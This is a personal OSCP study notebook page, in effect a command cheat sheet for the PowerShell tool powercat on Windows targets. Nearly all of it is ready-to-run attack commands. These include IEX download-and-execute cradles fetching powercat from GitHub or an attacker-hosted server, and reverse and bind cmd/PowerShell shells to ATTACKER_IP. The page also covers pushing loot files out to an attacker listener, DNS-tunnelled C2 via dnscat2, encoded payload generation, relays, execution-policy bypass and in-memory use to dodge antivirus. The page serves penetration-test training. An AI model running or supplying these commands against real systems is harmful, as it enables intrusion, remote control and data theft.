Pearson's OSCP Notebook

powercat

Properties1
tagspowercat, netcat, powershell, reverse-shell, bind-shell, file-transfer, windows, iex, oscp

5 min read

powercat — PowerShell Netcat

Ctrl+F: powercat · -c · -l · -p · -e cmd · -ep · -i · -of · IEX · -g · -ge

powercat (besimorhino/powercat) is Netcat implemented as a PowerShell function. Use it on Windows targets when nc.exe isn’t available, AV blocks netcat, or you already have PowerShell execution.

→ Netcat (Linux/Kali equivalent) · Shell · File Transfer · Windows CMD - Powershell Commands

📌 Quick workflow (load + reverse shell)

Attacker — listener:

rlwrap nc -lnvp 443

Target — load function + connect back:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
 
powercat -c 192.168.45.227 -p 443 -e cmd

From downloaded .ps1 on disk:

. .\powercat.ps1
powercat -c ATTACKER_IP -p 443 -e cmd

Serve powercat.ps1 from Kali if GitHub/raw is blocked:

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -O ~/Tools/powercat.ps1
python3 -m http.server -d ~/Tools 8000
IEX (New-Object System.Net.Webclient).DownloadString('http://ATTACKER_IP:8000/powercat.ps1')
powercat -c ATTACKER_IP -p 443 -e cmd

→ Port in Use - kill listener (if listener port stuck) · rlwrap

📌 Installation — load the function

powercat is a function, not a standalone EXE. Dot-source or IEX before use:

# From local file
. .\powercat.ps1
 
# From URL (one-liner)
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Add to your PowerShell profile to auto-load on start (optional).

Requirements: PowerShell 2.0+

📌 Parameters

FlagDescription
-lListen for a connection
-cConnect to a listener (IP/hostname)
-pPort to connect to or listen on
-eExecute program after connect (GAPING_SECURITY_HOLE) — e.g. cmd
-epExecute PowerShell after connect
-rRelay — format: -r tcp:10.1.1.1:443
-uUDP mode
-dnsTransfer over DNS (dnscat2) — e.g. -dns c2.example.com
-dnsftDNS failure threshold
-tTimeout (default: 60)
-iInput — filepath, byte array, or string
-oConsole output type: Host, Bytes, or String
-ofOutput file path
-dDisconnect after connecting
-repRepeater — restart after disconnect
-gGenerate payload (one-liner for specific action)
-geGenerate encoded payload (powershell -E)
-hHelp

📌 Basic connections

Default: reads from console, writes with Write-Host. Change output with -o.

# Client
powercat -c 10.1.1.1 -p 443
 
# Listener
powercat -l -p 8000
 
# Client — output as bytes
powercat -c 10.1.1.1 -p 443 -o Bytes

📌 Shells (OSCP core)

# Attacker: rlwrap nc -lnvp 443
 
# Serve cmd shell (listener on target — bind shell)
powercat -l -p 443 -e cmd
 
# Send cmd shell (reverse — target connects to you)
powercat -c ATTACKER_IP -p 443 -e cmd
 
# Serve PowerShell command shell
powercat -l -p 443 -ep
ModeCommandAttacker
Reverse cmdpowercat -c IP -p 443 -e cmdnc -lvnp 443
Bind cmdpowercat -l -p 443 -e cmdnc IP 443
Reverse PSpowercat -c IP -p 443 -epnc -lvnp 443

→ Potato Attacks · PrintSpoofer (upload revshell then -e alternative)

📌 File transfer

Use -i (input) and -of (output file):

# Send file (client pushes to listener)
powercat -c ATTACKER_IP -p 443 -i C:\loot.zip
 
# Receive file (listener saves)
powercat -l -p 8000 -of C:\received.zip

Attacker receive:

nc -lvnp 8000 > loot.zip

Attacker send:

nc ATTACKER_IP 8000 < file.zip

→ File Transfer · certutil

📌 DNS and UDP

# UDP
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
 
# DNS (dnscat2) — server needs: dnscat2 -e open --no-cache
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
powercat -dns c2.example.com -e cmd

📌 Relays

Relay between connections without a second process or temp file:

# TCP listener → TCP client relay
powercat -l -p 8000 -r tcp:10.1.1.16:443
 
# TCP listener → UDP client relay
powercat -l -p 8000 -r udp:10.1.1.16:53
 
# TCP listener → DNS relay
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
powercat -l -p 8000 -r dns:::c2.example.com
 
# TCP client → client relay
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
 
# TCP listener → listener relay
powercat -l -p 8000 -r tcp:9000

→ Chisel · Port Forwarding

📌 Generate payloads

Standalone one-liners without loading full powercat:

# Reverse TCP payload → connects to 10.1.1.15:443, runs cmd
powercat -c 10.1.1.15 -p 443 -e cmd -g
 
# Bind TCP encoded payload — listen on 8000 (run with powershell -E)
powercat -l -p 8000 -e cmd -ge

Run encoded output:

powershell -E <encoded_blob_from_-ge>

→ Msfvenom · Base64

📌 Misc — port scan & persistent server

# Quick TCP port scan
(21,22,80,443) | % { powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d }
 
# Persistent server — serves file, restarts on disconnect
powercat -l -p 443 -i C:\inputfile -rep

📌 powercat vs nc.exe

SituationUse
Windows, no nc.exepowercat via IEX
AV blocks netcat binarypowercat (PS in memory)
Linux targetNetcat / bash /dev/tcp
Need bind shell on Windowspowercat -l -p PORT -e cmd
Already have nc64.exeChurrasco · JuicyPotato examples

📌 Troubleshooting

ProblemFix
powercat not recognizedDot-source first: . .\powercat.ps1 or IEX
Execution policy blockedpowershell -ep bypass · -ExecutionPolicy Bypass
No callbackWrong IP (use tun0) · firewall · try 443/80
Port in use on KaliPort in Use - kill listener
Raw URL blockedHost powercat.ps1 on Python HTTP server

📌 Quick cheat sheet

# Kali
rlwrap nc -lnvp 443
python3 -m http.server -d ~/Tools 8000
IEX (New-Object System.Net.Webclient).DownloadString('http://ATTACKER:8000/powercat.ps1')
powercat -c ATTACKER -p 443 -e cmd
powercat -l -p 443 -e cmd
powercat -c ATTACKER -p 443 -i C:\file.zip
powercat -l -p 8000 -of C:\out.zip
powercat -c ATTACKER -p 443 -e cmd -g

Graph View

Backlinks